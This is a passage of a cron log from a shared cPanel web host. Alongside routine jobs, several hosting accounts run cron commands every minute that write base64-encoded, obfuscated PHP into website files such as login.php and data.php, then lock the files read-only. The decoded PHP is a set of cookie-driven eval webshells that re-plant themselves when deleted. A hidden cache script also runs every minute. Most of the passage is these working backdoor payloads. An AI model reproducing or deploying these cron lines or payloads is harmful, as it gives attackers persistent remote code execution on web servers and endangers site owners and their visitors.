ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:30:02 medusa CROND[10721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:30:02 medusa CROND[10727]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10719]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:30:02 medusa CROND[10694]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 09:30:02 medusa CROND[10728]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 09:31:01 medusa CROND[2294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:31:01 medusa CROND[2295]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:31:01 medusa CROND[2296]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:31:01 medusa CROND[2297]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:31:01 medusa CROND[2298]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:31:01 medusa CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:31:01 medusa CROND[2302]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:31:01 medusa CROND[2304]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:31:01 medusa CROND[2307]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:31:01 medusa CROND[2310]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:31:01 medusa CROND[2312]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:31:01 medusa CROND[2316]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:31:01 medusa CROND[2301]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:32:01 medusa CROND[28176]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:32:02 medusa CROND[28293]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:32:02 medusa CROND[28294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:32:02 medusa CROND[28296]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:32:02 medusa CROND[28297]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:32:02 medusa CROND[28298]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:32:02 medusa CROND[28299]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:32:02 medusa CROND[28304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:32:02 medusa CROND[28308]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:32:02 medusa CROND[28310]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:32:02 medusa CROND[28312]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:32:02 medusa CROND[28306]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:32:02 medusa CROND[28319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:33:01 medusa CROND[21216]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
